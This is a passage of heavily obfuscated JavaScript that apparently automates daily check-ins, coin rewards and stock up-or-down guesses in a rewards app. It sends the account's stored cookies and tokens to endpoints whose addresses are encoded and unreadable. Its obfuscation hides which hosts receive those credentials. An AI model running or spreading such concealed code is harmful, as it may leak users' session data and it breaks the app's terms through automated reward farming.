_0x166f90=_0x2fc0b4[_0x2271('‮ef')](_0x2fc0b4[_0x2271('‫f5')](_0x44cf72,_0x2fc0b4[_0x2271('‮f7')](_0x44cf72,0x4)),0x4),_0x6a258c=_0x2fc0b4[_0x2271('‮f8')](_0x2fc0b4[_0x2271('‫f9')](_0x44cf72,0x4),0x8),_0x3f91ac[_0x166f90]=_0x2fc0b4[_0x2271('‫fa')](_0x3f91ac[_0x166f90],_0x2fc0b4[_0x2271('‫fb')](0x80,_0x6a258c)),_0x3f91ac[_0x2fc0b4[_0x2271('‫f5')](_0x1866fa,0x2)]=_0x2fc0b4[_0x2271('‫fb')](_0x25a832,0x3),_0x3f91ac[_0x2fc0b4[_0x2271('‫d3')](_0x1866fa,0x1)]=_0x2fc0b4[_0x2271('‫fc')](_0x25a832,0x1d),_0x3f91ac;}}}}}}else{if(_0x2fc0b4[_0x2271('‮d5')](_0x2fc0b4[_0x2271('‮fd')],_0x2fc0b4[_0x2271('‮fd')])){console[_0x2271('‫4f')](_0x2271('‮fe')+_0x1197ab[_0x2271('‫ff')]+_0x2271('‮100')+_0x1197ab[_0x2271('‮101')][_0x2271('‫53')]);}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮b9')+_0x1197ab[_0x2271('‮ba')]);}}}catch(_0x29007d){if(_0x2fc0b4[_0x2271('‮d5')](_0x2fc0b4[_0x2271('‫102')],_0x2fc0b4[_0x2271('‫102')])){result=JSON[_0x2271('‮103')](result[_0x2271('‫a3')][_0x2271('‫104')](/\\x/g,''));}else{console[_0x2271('‫4f')](_0x29007d);}}finally{}}async[_0x2271('‮105')](_0x27a1c7,_0x23d957,_0x43c797=''){var _0x15859c={'stzjf':function(_0x31ce36,_0x5e99e1){return _0x31ce36+_0x5e99e1;},'bUvJw':function(_0x3e680c,_0xf9d95a){return _0x3e680c+_0xf9d95a;},'qujDs':_0x2271('‫7'),'ApMJV':function(_0x1a920e,_0x139e03){return _0x1a920e|_0x139e03;},'SIenM':function(_0x5b54cf,_0x4aa9b0){return _0x5b54cf>>_0x4aa9b0;},'rTLcl':function(_0x3fac8f,_0x1a18a3){return _0x3fac8f&_0x1a18a3;},'ujLYy':function(_0x44d935,_0x436438){return _0x44d935&_0x436438;},'WxoyG':_0x2271('‫106'),'ubFpG':function(_0x2cb926,_0x4c4582){return _0x2cb926<_0x4c4582;},'XnnQy':_0x2271('‮107'),'RlJXj':function(_0x2bf62d,_0x11a316){return _0x2bf62d+_0x11a316;},'vcLOV':function(_0x38295c,_0x1a9a09){return _0x38295c+_0x1a9a09;},'xwZic':function(_0x808d30,_0x265fa3){return _0x808d30+_0x265fa3;},'UtTPt':function(_0x279d66,_0x4a8221){return _0x279d66>>_0x4a8221;},'BhWPd':function(_0xbf1035,_0x4c5427){return _0xbf1035<<_0x4c5427;},'Fzugj':function(_0x1286cf,_0x5207ae){return _0x1286cf>>_0x5207ae;},'BXieL':function(_0x198f0a,_0x5e0a76){return _0x198f0a(_0x5e0a76);},'SjAhS':function(_0x34bba3,_0x2e96ed){return _0x34bba3(_0x2e96ed);},'PuHhG':function(_0x15074a,_0x46686e){return _0x15074a|_0x46686e;},'fuUWt':function(_0x4d79d4,_0x2a2564){return _0x4d79d4<<_0x2a2564;},'BUBAE':function(_0x343ebe,_0x436882){return _0x343ebe==_0x436882;},'vYdzx':function(_0x535e55,_0x4ee2a0){return _0x535e55==_0x4ee2a0;},'vTBlh':function(_0x2eefea,_0x191011,_0x5a9bcb,_0x59faa1){return _0x2eefea(_0x191011,_0x5a9bcb,_0x59faa1);},'hHFVN':function(_0x7e7a73,_0x4975f6,_0x4eb0c1){return _0x7e7a73(_0x4975f6,_0x4eb0c1);},'AimrK':_0x2271('‫82'),'IEvua':function(_0x20fe75,_0x9556da){return _0x20fe75==_0x9556da;},'lhFft':function(_0x238763,_0x53f659){return _0x238763!==_0x53f659;},'QGuyn':_0x2271('‮108'),'jTabL':function(_0x40cb54,_0x4f22f3){return _0x40cb54===_0x4f22f3;},'wTeUd':_0x2271('‮109'),'IpxVn':_0x2271('‮10a'),'xZJMX':function(_0x54ae26,_0x46cc00){return _0x54ae26==_0x46cc00;},'Blrpv':function(_0xda3833,_0x446dbe){return _0xda3833>_0x446dbe;},'bdNdT':function(_0x457777,_0x50bffc){return _0x457777===_0x50bffc;},'TZraV':_0x2271('‮10b'),'zoDJV':function(_0x339b1c,_0x421543){return _0x339b1c==_0x421543;},'gihwD':_0x2271('‫10c')};try{let _0x5349fd=_0x2271('‫10d')+_0x27a1c7+_0x2271('‫10e')+_0x23d957+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];if(_0x15859c[_0x2271('‫10f')](_0x23d957,signType[_0x2271('‫32')])){_0x5349fd+=_0x2271('‫110');}else if(_0x15859c[_0x2271('‮111')](_0x23d957,signType[_0x2271('‫112')])){_0x5349fd+=_0x2271('‮113')+todayDate;}else if(_0x15859c[_0x2271('‮111')](_0x23d957,signType[_0x2271('‮c')])){_0x5349fd+=_0x2271('‮114')+_0x43c797;}let _0x359292='';let _0x110ea7=_0x15859c[_0x2271('‮115')](populateUrlObject,_0x5349fd,this[_0x2271('‫47')],_0x359292);await _0x15859c[_0x2271('‫116')](httpRequest,_0x15859c[_0x2271('‫117')],_0x110ea7);let _0x25770d=httpResult;if(!_0x25770d)return;if(_0x15859c[_0x2271('‫118')](_0x25770d[_0x2271('‮8f')],0x0)){if(_0x25770d[_0x2271('‫119')]){console[_0x2271('‫4f')](_0x2271('‮11a')+_0x25770d[_0x2271('‫bc')]);}else{if(_0x15859c[_0x2271('‫118')](_0x23d957,signType[_0x2271('‫32')])){if(_0x15859c[_0x2271('‮11b')](_0x15859c[_0x2271('‫11c')],_0x15859c[_0x2271('‫11c')])){userCookie=_0x15859c[_0x2271('‫11d')](_0x15859c[_0x2271('‫11e')](userCookie,'\x0a'),ck);$[_0x2271('‮98')](userCookie,_0x15859c[_0x2271('‮11f')]);let _0x157d7b=userCookie[_0x2271('‮9a')]('\x0a');$[_0x2271('‮75')](_0x15859c[_0x2271('‫11e')](jsname,_0x2271('‮9c')+_0x157d7b[_0x2271('‫55')]+_0x2271('‮9d')+ck));}else{console[_0x2271('‫4f')](_0x2271('‮120')+_0x25770d[_0x2271('‮121')][_0x2271('‫122')]+_0x2271('‫123')+_0x25770d[_0x2271('‮121')][_0x2271('‮124')]+'天');for(let _0x581a86 of _0x25770d[_0x2271('‮121')][_0x2271('‮125')]){if(_0x15859c[_0x2271('‫118')](_0x581a86[_0x2271('‮126')],todayDate)){if(_0x15859c[_0x2271('‮127')](_0x15859c[_0x2271('‫128')],_0x15859c[_0x2271('‮129')])){t+=String[_0x2271('‮79')](_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‫12b')](r,0xc),0xe0));t+=String[_0x2271('‮79')](_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‮12c')](_0x15859c[_0x2271('‫12b')](r,0x6),0x3f),0x80));t+=String[_0x2271('‮79')](_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‫12d')](r,0x3f),0x80));}else{if(_0x15859c[_0x2271('‮12e')](_0x581a86[_0x2271('‮12f')],0x0)){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮105')](_0x27a1c7,signType[_0x2271('‫112')]);}else{console[_0x2271('‫4f')](_0x2271('‫130'));}}}}if(_0x15859c[_0x2271('‮131')](_0x25770d[_0x2271('‮132')],0x0)&&_0x25770d[_0x2271('‫133')]){if(_0x15859c[_0x2271('‫134')](_0x15859c[_0x2271('‫135')],_0x15859c[_0x2271('‫135')])){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮105')](_0x27a1c7,signType[_0x2271('‮c')],_0x25770d[_0x2271('‫133')]);}else{console[_0x2271('‫4f')](e);}}}}else if(_0x15859c[_0x2271('‮12e')](_0x23d957,signType[_0x2271('‫112')])){console[_0x2271('‫4f')](_0x2271('‫136')+_0x25770d[_0x2271('‫53')]);}else if(_0x15859c[_0x2271('‫137')](_0x23d957,signType[_0x2271('‮c')])){if(_0x15859c[_0x2271('‮11b')](_0x15859c[_0x2271('‮138')],_0x15859c[_0x2271('‮138')])){var _0x4b19ea=_0x15859c[_0x2271('‫139')][_0x2271('‮9a')]('|'),_0x43874e=0x0;while(!![]){switch(_0x4b19ea[_0x43874e++]){case'0':return _0x246944;case'1':var _0x246944='';continue;case'2':e=Base64[_0x2271('‫13a')](e);continue;case'3':while(_0x15859c[_0x2271('‮13b')](_0x30b01c,e[_0x2271('‫55')])){var _0x49e5d3=_0x15859c[_0x2271('‮13c')][_0x2271('‮9a')]('|'),_0x2ae7d6=0x0;while(!![]){switch(_0x49e5d3[_0x2ae7d6++]){case'0':_0x246944=_0x15859c[_0x2271('‮13d')](_0x15859c[_0x2271('‮13e')](_0x15859c[_0x2271('‮13e')](_0x15859c[_0x2271('‮13f')](_0x246944,this[_0x2271('‮140')][_0x2271('‫141')](_0x31b89b)),this[_0x2271('‮140')][_0x2271('‫141')](_0x3fb730)),this[_0x2271('‮140')][_0x2271('‫141')](_0x5ec289)),this[_0x2271('‮140')][_0x2271('‫141')](_0x1a5cc8));continue;case'1':_0x31b89b=_0x15859c[_0x2271('‫142')](_0x13a007,0x2);continue;case'2':_0x44740e=e[_0x2271('‮d7')](_0x30b01c++);continue;case'3':_0x5ec289=_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‮143')](_0x15859c[_0x2271('‫12d')](_0x45f107,0xf),0x2),_0x15859c[_0x2271('‫144')](_0x44740e,0x6));continue;case'4':_0x13a007=e[_0x2271('‮d7')](_0x30b01c++);continue;case'5':if(_0x15859c[_0x2271('‮145')](isNaN,_0x45f107)){_0x5ec289=_0x1a5cc8=0x40;}else if(_0x15859c[_0x2271('‮146')](isNaN,_0x44740e)){_0x1a5cc8=0x40;}continue;case'6':_0x45f107=e[_0x2271('‮d7')](_0x30b01c++);continue;case'7':_0x3fb730=_0x15859c[_0x2271('‮147')](_0x15859c[_0x2271('‮148')](_0x15859c[_0x2271('‫12d')](_0x13a007,0x3),0x4),_0x15859c[_0x2271('‫144')](_0x45f107,0x4));continue;case'8':_0x1a5cc8=_0x15859c[_0x2271('‫12d')](_0x44740e,0x3f);continue;}break;}}continue;case'4':var _0x30b01c=0x0;continue;case'5':var _0x13a007,_0x45f107,_0x44740e,_0x31b89b,_0x3fb730,_0x5ec289,_0x1a5cc8;continue;}break;}}else{console[_0x2271('‫4f')](_0x2271('‫149')+_0x25770d[_0x2271('‫53')]);}}}}else{console[_0x2271('‫4f')](_0x2271('‫14a')+_0x25770d[_0x2271('‮ba')]);}}catch(_0x5007e6){console[_0x2271('‫4f')](_0x5007e6);}finally{}}async[_0x2271('‮14b')](){var _0x122af5={'YDxek':function(_0x5ace11,_0x4703a5){return _0x5ace11&_0x4703a5;},'FCOSg':function(_0xdcd008,_0x45334b){return _0xdcd008&_0x45334b;},'XYIRK':function(_0x4ecdbf,_0xab2c08){return _0x4ecdbf&_0xab2c08;},'ydHna':function(_0x10afd2,_0x15bca7){return _0x10afd2+_0x15bca7;},'Iljvs':function(_0x15ff74,_0x4e5664){return _0x15ff74&_0x4e5664;},'bNSXM':function(_0x35c524,_0x23b435){return _0x35c524^_0x23b435;},'RtigK':function(_0x28c900,_0x7018d4){return _0x28c900^_0x7018d4;},'fFkgq':function(_0x4759a9,_0x1c1057){return _0x4759a9|_0x1c1057;},'SOwgH':function(_0x59429c,_0x5484db){return _0x59429c^_0x5484db;},'mYVef':function(_0x580c7c,_0xc14652){return _0x580c7c-_0xc14652;},'sUOpJ':function(_0x8f7a6c,_0x8697f8){return _0x8f7a6c*_0x8697f8;},'mamvB':function(_0x5ee52c,_0xed7535){return _0x5ee52c/_0xed7535;},'nWTmx':function(_0x7e765f,_0x1815f5){return _0x7e765f<_0x1815f5;},'xupdW':function(_0x1bc6fa,_0x190fab){return _0x1bc6fa/_0x190fab;},'hEiED':function(_0x58ec80,_0x36c655){return _0x58ec80*_0x36c655;},'slLjP':function(_0x500a5d,_0x27fcd1){return _0x500a5d==_0x27fcd1;},'bHIDj':_0x2271('‮14c'),'dIxVc':function(_0x8fb812,_0x27d969){return _0x8fb812-_0x27d969;},'FLaSC':_0x2271('‮14d'),'RYgqK':function(_0x46bca1,_0x27737d){return _0x46bca1===_0x27737d;},'uMJOb':_0x2271('‫14e'),'HgrVs':function(_0x1ce707,_0x57aae1,_0x510d99,_0x28c0fd){return _0x1ce707(_0x57aae1,_0x510d99,_0x28c0fd);},'nBWfv':function(_0x484356,_0x19a51a,_0x15a033){return _0x484356(_0x19a51a,_0x15a033);},'PSOJi':_0x2271('‫82'),'gIEev':function(_0x5cfc2c,_0x506944){return _0x5cfc2c>_0x506944;},'TOCTz':_0x2271('‫14f'),'SOIEp':_0x2271('‮150'),'uSFBU':function(_0x9f5309,_0x1737b5){return _0x9f5309===_0x1737b5;},'ENvGP':_0x2271('‫151'),'pvsqK':function(_0x488ed3,_0x2f2c5d){return _0x488ed3==_0x2f2c5d;},'xalZK':function(_0x2f61c1,_0x42adbe){return _0x2f61c1===_0x42adbe;},'QVsuK':_0x2271('‮152'),'bQEWt':_0x2271('‫153'),'YeMzW':function(_0x30a383,_0x7b54d1){return _0x30a383!==_0x7b54d1;},'mZGyn':_0x2271('‫154'),'yDsyi':function(_0x25f127,_0x43cb6c){return _0x25f127==_0x43cb6c;},'KTMDT':function(_0x4508cb,_0x4a6998){return _0x4508cb!==_0x4a6998;},'TUrXC':_0x2271('‮155'),'oUhHC':_0x2271('‫156'),'bQarW':function(_0xbe67b7,_0x49d591){return _0xbe67b7!==_0x49d591;},'uJoqs':_0x2271('‮157'),'BvaoP':_0x2271('‮158'),'UWQGn':function(_0xbdecf3,_0x34b3ee){return _0xbdecf3>_0x34b3ee;},'lZMBK':_0x2271('‫159'),'GeJfo':_0x2271('‫15a'),'yAjdT':_0x2271('‫15b'),'RdyGj':function(_0x3fe7b5,_0x250ed2){return _0x3fe7b5===_0x250ed2;},'gskFf':_0x2271('‮15c')};try{if(_0x122af5[_0x2271('‫15d')](_0x122af5[_0x2271('‫15e')],_0x122af5[_0x2271('‫15e')])){let _0x6d2d80=_0x2271('‮15f')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x4d30f6='';let _0x59923b=_0x122af5[_0x2271('‫160')](populateUrlObject,_0x6d2d80,this[_0x2271('‫47')],_0x4d30f6);await _0x122af5[_0x2271('‮161')](httpRequest,_0x122af5[_0x2271('‮162')],_0x59923b);let _0x36dbd1=httpResult;if(!_0x36dbd1)return;if(_0x122af5[_0x2271('‮163')](_0x36dbd1[_0x2271('‮8f')],0x0)){let _0x1f601b=new Date();let _0x3c90cc=_0x1f601b[_0x2271('‫164')]();let _0x1eac6=_0x1f601b[_0x2271('‮165')]();let _0x54d4f7=_0x122af5[_0x2271('‮166')](_0x3c90cc,0xd)&&_0x122af5[_0x2271('‫167')](_0x3c90cc,0x9)&&_0x122af5[_0x2271('‮166')](_0x1eac6,0x6)&&_0x122af5[_0x2271('‫167')](_0x1eac6,0x0)?0x1:0x0;if(_0x36dbd1[_0x2271('‮168')]&&_0x36dbd1[_0x2271('‮168')][0x0]){if(_0x122af5[_0x2271('‮163')](_0x36dbd1[_0x2271('‮168')][0x0][_0x2271('‫169')],0x1)){console[_0x2271('‫4f')](_0x2271('‮16a'));await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫16b')](_0x36dbd1[_0x2271('‮168')][0x0][_0x2271('‮126')]);}else{console[_0x2271('‫4f')](_0x2271('‫16c'));}}if(_0x36dbd1[_0x2271('‮16d')]&&_0x36dbd1[_0x2271('‮16d')][0x0]){if(_0x122af5[_0x2271('‫15d')](_0x122af5[_0x2271('‫16e')],_0x122af5[_0x2271('‫16f')])){console[_0x2271('‫4f')](_0x2271('‫170')+guessStr+_0x2271('‫171')+_0x36dbd1[_0x2271('‮ba')]);}else{if(_0x122af5[_0x2271('‮163')](_0x36dbd1[_0x2271('‮16d')][0x0][_0x2271('‮172')],0x1)){console[_0x2271('‫4f')](_0x2271('‮173'));await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫174')](_0x36dbd1[_0x2271('‮16d')][0x0][_0x2271('‮126')]);}else{if(_0x122af5[_0x2271('‮175')](_0x122af5[_0x2271('‮176')],_0x122af5[_0x2271('‮176')])){console[_0x2271('‫4f')](_0x2271('‫177'));}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}}}}if(_0x54d4f7){if(_0x36dbd1[_0x2271('‮178')]&&_0x36dbd1[_0x2271('‮178')][0x0]&&_0x122af5[_0x2271('‫179')](_0x36dbd1[_0x2271('‮178')][0x0][_0x2271('‫17a')],0x0)||_0x36dbd1[_0x2271('‮17b')]&&_0x36dbd1[_0x2271('‮17b')][0x0]&&_0x122af5[_0x2271('‫179')](_0x36dbd1[_0x2271('‮17b')][0x0][_0x2271('‫17a')],0x0)){if(_0x36dbd1[_0x2271('‫17c')]){if(_0x122af5[_0x2271('‫17d')](_0x122af5[_0x2271('‮17e')],_0x122af5[_0x2271('‫17f')])){console[_0x2271('‫4f')](e);}else{for(let _0x1c89cd of _0x36dbd1[_0x2271('‫17c')]){if(_0x122af5[_0x2271('‫180')](_0x122af5[_0x2271('‮181')],_0x122af5[_0x2271('‮181')])){var _0x4f0558,_0x140b3a,_0x481c6f,_0x581a89,_0x54c1e0;return _0x481c6f=_0x122af5[_0x2271('‫182')](0x80000000,a),_0x581a89=_0x122af5[_0x2271('‮183')](0x80000000,b),_0x4f0558=_0x122af5[_0x2271('‫184')](0x40000000,a),_0x140b3a=_0x122af5[_0x2271('‫184')](0x40000000,b),_0x54c1e0=_0x122af5[_0x2271('‮185')](_0x122af5[_0x2271('‫186')](0x3fffffff,a),_0x122af5[_0x2271('‫186')](0x3fffffff,b)),_0x122af5[_0x2271('‫186')](_0x4f0558,_0x140b3a)?_0x122af5[_0x2271('‮187')](_0x122af5[_0x2271('‮187')](_0x122af5[_0x2271('‫188')](0x80000000,_0x54c1e0),_0x481c6f),_0x581a89):_0x122af5[_0x2271('‫189')](_0x4f0558,_0x140b3a)?_0x122af5[_0x2271('‫186')](0x40000000,_0x54c1e0)?_0x122af5[_0x2271('‫188')](_0x122af5[_0x2271('‫188')](_0x122af5[_0x2271('‫188')](0xc0000000,_0x54c1e0),_0x481c6f),_0x581a89):_0x122af5[_0x2271('‫188')](_0x122af5[_0x2271('‫18a')](_0x122af5[_0x2271('‫18a')](0x40000000,_0x54c1e0),_0x481c6f),_0x581a89):_0x122af5[_0x2271('‫18a')](_0x122af5[_0x2271('‫18a')](_0x54c1e0,_0x481c6f),_0x581a89);}else{if(_0x122af5[_0x2271('‫179')](_0x1c89cd[_0x2271('‮12f')],0x3)&&_0x122af5[_0x2271('‫18b')](_0x1c89cd[_0x2271('‮126')],todayDate)){if(_0x122af5[_0x2271('‮18c')](_0x122af5[_0x2271('‮18d')],_0x122af5[_0x2271('‮18e')])){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮18f')](SCI_code,marketCode['sh']);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫190')](this[_0x2271('‮191')]);}else{let _0x66e364=_0x36dbd1[_0x2271('‫192')][_0x2271('‮193')]||0x0;let _0x19f4cd=_0x36dbd1[_0x2271('‫192')][_0x2271('‮194')]||0x0;let _0x51bcfe=_0x122af5[_0x2271('‫195')](_0x66e364,_0x19f4cd);let _0x165d7c=_0x122af5[_0x2271('‮196')](_0x122af5[_0x2271('‫197')](_0x51bcfe,_0x19f4cd),0x64);let _0x46885d=_0x122af5[_0x2271('‮166')](_0x51bcfe,0x0)?'跌':'涨';this[_0x2271('‮191')]=_0x122af5[_0x2271('‮166')](_0x51bcfe,0x0)?0x2:0x1;console[_0x2271('‫4f')](stockName+_0x2271('‫198')+_0x66e364+_0x2271('‫199')+_0x19f4cd+_0x2271('‮19a')+_0x122af5[_0x2271('‮19b')](Math[_0x2271('‮19c')](_0x122af5[_0x2271('‮196')](_0x165d7c,0x64)),0x64)+_0x2271('‮19d')+_0x122af5[_0x2271('‮19b')](Math[_0x2271('‮19c')](_0x122af5[_0x2271('‫19e')](_0x51bcfe,0x64)),0x64)+_0x2271('‫19f')+_0x46885d);}}}}}}}else{if(_0x122af5[_0x2271('‫1a0')](_0x122af5[_0x2271('‫1a1')],_0x122af5[_0x2271('‮1a2')])){console[_0x2271('‫4f')](_0x2271('‫1a3'));}else{if(_0x122af5[_0x2271('‮163')](type,_0x122af5[_0x2271('‮1a4')])){this[_0x2271('‮3e')][_0x2271('‮14c')][share_type]=_0x36dbd1[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a6')+share_type+_0x2271('‫1a7')+_0x36dbd1[_0x2271('‮1a5')]);}else{this[_0x2271('‮3e')][_0x2271('‫32')][share_type]=_0x36dbd1[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+share_type+_0x2271('‫1a7')+_0x36dbd1[_0x2271('‮1a5')]);}}}if(_0x36dbd1[_0x2271('‮1a9')]&&_0x122af5[_0x2271('‮1aa')](_0x36dbd1[_0x2271('‮1a9')][_0x2271('‫55')],0x0)){this[_0x2271('‮1ab')]=!![];for(let _0x235f88 of _0x36dbd1[_0x2271('‮1a9')][_0x2271('‫1ac')](function(_0x18b4ad,_0x12ae64){return _0x122af5[_0x2271('‫1ad')](Math[_0x2271('‫1ae')](_0x12ae64[_0x122af5[_0x2271('‮1af')]]),Math[_0x2271('‫1ae')](_0x18b4ad[_0x122af5[_0x2271('‮1af')]]));})){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫1b0')](_0x235f88);if(_0x122af5[_0x2271('‫18b')](this[_0x2271('‮1ab')],![]))break;}}}else{if(_0x122af5[_0x2271('‫17d')](_0x122af5[_0x2271('‫1b1')],_0x122af5[_0x2271('‫1b2')])){this[_0x2271('‮40')]=_0x36dbd1[_0x2271('‫1b3')];}else{console[_0x2271('‫4f')](_0x2271('‮1b4'));}}if(_0x36dbd1[_0x2271('‫1b5')]){if(_0x122af5[_0x2271('‫1a0')](_0x122af5[_0x2271('‮1b6')],_0x122af5[_0x2271('‮1b6')])){console[_0x2271('‫4f')](e);}else{this[_0x2271('‮3e')][_0x2271('‫1b7')]=_0x36dbd1[_0x2271('‫1b5')];console[_0x2271('‫4f')](_0x2271('‫1b8'));}}}else{console[_0x2271('‫4f')](_0x2271('‫1b9')+_0x36dbd1[_0x2271('‮ba')]);}}else{console[_0x2271('‫4f')](e);}}catch(_0x479428){if(_0x122af5[_0x2271('‮1ba')](_0x122af5[_0x2271('‫1bb')],_0x122af5[_0x2271('‫1bb')])){console[_0x2271('‫4f')](_0x479428);}else{console[_0x2271('‫4f')](_0x2271('‫1bc')+actid+_0x2271('‮1bd')+result[_0x2271('‮ba')]);}}finally{}}async[_0x2271('‫16b')](_0x3b48b3){var _0x21c5c1={'sEtJD':function(_0x3c5829,_0x2d8995){return _0x3c5829!==_0x2d8995;},'ZyYSX':_0x2271('‮1be'),'MYMMp':_0x2271('‮1bf'),'wYGhf':function(_0x30f410,_0x214484,_0x4ccaf5,_0x4f5ea2){return _0x30f410(_0x214484,_0x4ccaf5,_0x4f5ea2);},'QZWzn':function(_0x35c250,_0x2b7f83,_0x249727){return _0x35c250(_0x2b7f83,_0x249727);},'MFRle':_0x2271('‫82'),'HOPAk':function(_0x283645,_0x2ef55d){return _0x283645==_0x2ef55d;}};try{if(_0x21c5c1[_0x2271('‫1c0')](_0x21c5c1[_0x2271('‫1c1')],_0x21c5c1[_0x2271('‫1c2')])){let _0x150340=_0x2271('‫1c3')+_0x3b48b3+_0x2271('‫1c4')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0xf76ff1='';let _0x2e6bb9=_0x21c5c1[_0x2271('‫1c5')](populateUrlObject,_0x150340,this[_0x2271('‫47')],_0xf76ff1);await _0x21c5c1[_0x2271('‮1c6')](httpRequest,_0x21c5c1[_0x2271('‫1c7')],_0x2e6bb9);let _0x45867e=httpResult;if(!_0x45867e)return;if(_0x21c5c1[_0x2271('‫1c8')](_0x45867e[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫1c9')+_0x45867e[_0x2271('‮1ca')]+'金币');}else{console[_0x2271('‫4f')](_0x2271('‮1cb')+_0x45867e[_0x2271('‮ba')]);}}else{this[_0x2271('‮3e')][_0x2271('‫32')][share_type]=result[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+share_type+_0x2271('‫1a7')+result[_0x2271('‮1a5')]);}}catch(_0x19a0bb){console[_0x2271('‫4f')](_0x19a0bb);}finally{}}async[_0x2271('‫174')](_0x2ba312){var _0x570169={'JhVnx':function(_0xb43bc8,_0x3cc6c7,_0x1b661a,_0x554cb5){return _0xb43bc8(_0x3cc6c7,_0x1b661a,_0x554cb5);},'yMWTw':function(_0xbe7041,_0x582fd4,_0x4ab16e){return _0xbe7041(_0x582fd4,_0x4ab16e);},'ugPbg':_0x2271('‫82'),'vqtSu':function(_0x2d8539,_0x357628){return _0x2d8539==_0x357628;},'gNzZq':function(_0x1b6b2b,_0x5d0c50){return _0x1b6b2b===_0x5d0c50;},'GraQv':_0x2271('‮1cc'),'HByFV':function(_0x551c33,_0x51699f){return _0x551c33>_0x51699f;}};try{let _0x50b78d=_0x2271('‫1cd')+_0x2ba312+_0x2271('‮1ce')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x9067bc='';let _0x3b0495=_0x570169[_0x2271('‮1cf')](populateUrlObject,_0x50b78d,this[_0x2271('‫47')],_0x9067bc);await _0x570169[_0x2271('‮1d0')](httpRequest,_0x570169[_0x2271('‮1d1')],_0x3b0495);let _0x4f5c6f=httpResult;if(!_0x4f5c6f)return;if(_0x570169[_0x2271('‮1d2')](_0x4f5c6f[_0x2271('‮8f')],0x0)){if(_0x570169[_0x2271('‫1d3')](_0x570169[_0x2271('‫1d4')],_0x570169[_0x2271('‫1d4')])){if(_0x4f5c6f[_0x2271('‫1d5')]&&_0x570169[_0x2271('‫1d6')](_0x4f5c6f[_0x2271('‫1d5')][_0x2271('‫55')],0x0)){for(let _0x2d3f5c of _0x4f5c6f[_0x2271('‫1d5')]){console[_0x2271('‫4f')](_0x2271('‫1d7')+_0x2d3f5c[_0x2271('‮1d8')]+_0x2271('‮1d9')+_0x2d3f5c[_0x2271('‫53')]);}}console[_0x2271('‫4f')](_0x2271('‫1da')+_0x4f5c6f[_0x2271('‫1db')]);}else{console[_0x2271('‫4f')](e);}}else{console[_0x2271('‫4f')](_0x2271('‫1dc')+_0x4f5c6f[_0x2271('‮ba')]);}}catch(_0x3f4d85){console[_0x2271('‫4f')](_0x3f4d85);}finally{}}async[_0x2271('‮18f')](_0x42dc97,_0x5f49d7){var _0x1a7bcc={'oFjJj':function(_0x567ad9,_0x1ae502,_0x4d6c37,_0xdbb453){return _0x567ad9(_0x1ae502,_0x4d6c37,_0xdbb453);},'EBYDQ':function(_0x456c07,_0x592ea4,_0xf8166a){return _0x456c07(_0x592ea4,_0xf8166a);},'IUgmB':_0x2271('‫82'),'KHMHd':function(_0x137d9f,_0x4b27ae){return _0x137d9f==_0x4b27ae;},'WXDzU':function(_0x18c36c,_0x7a00e9){return _0x18c36c-_0x7a00e9;},'BsYPI':function(_0x5aa5ec,_0x8339f2){return _0x5aa5ec*_0x8339f2;},'nuZqr':function(_0x5c6ca6,_0x54e3b0){return _0x5c6ca6/_0x54e3b0;},'VscEw':function(_0x4b57df,_0x518c0d){return _0x4b57df<_0x518c0d;},'jZhPt':function(_0x427dd5,_0x4423a1){return _0x427dd5*_0x4423a1;},'WEGUO':function(_0x518eb6,_0x1667b2){return _0x518eb6/_0x1667b2;},'jVEfJ':function(_0x41cf9e,_0x453eb3){return _0x41cf9e!==_0x453eb3;},'MrQYT':_0x2271('‮1dd')};try{let _0x18dca7=_0x2271('‮1de')+_0x42dc97+_0x2271('‫1df')+_0x5f49d7+_0x2271('‫1e0')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x134a15='';let _0xfa5f01=_0x1a7bcc[_0x2271('‫1e1')](populateUrlObject,_0x18dca7,this[_0x2271('‫47')],_0x134a15);await _0x1a7bcc[_0x2271('‫1e2')](httpRequest,_0x1a7bcc[_0x2271('‮1e3')],_0xfa5f01);let _0x2969da=httpResult;if(!_0x2969da)return;if(_0x2969da[_0x2271('‫a3')]){_0x2969da=JSON[_0x2271('‮103')](_0x2969da[_0x2271('‫a3')][_0x2271('‫104')](/\\x/g,''));}if(_0x1a7bcc[_0x2271('‮1e4')](_0x2969da[_0x2271('‮8f')],0x0)){let _0x5a574f=_0x2969da[_0x2271('‫1e5')][_0x2271('‫1e6')]||'';if(_0x5a574f){let _0x1f9214=_0x2969da[_0x2271('‫192')][_0x2271('‮193')]||0x0;let _0x4bf48e=_0x2969da[_0x2271('‫192')][_0x2271('‮194')]||0x0;let _0x12b249=_0x1a7bcc[_0x2271('‮1e7')](_0x1f9214,_0x4bf48e);let _0xd9d708=_0x1a7bcc[_0x2271('‫1e8')](_0x1a7bcc[_0x2271('‮1e9')](_0x12b249,_0x4bf48e),0x64);let 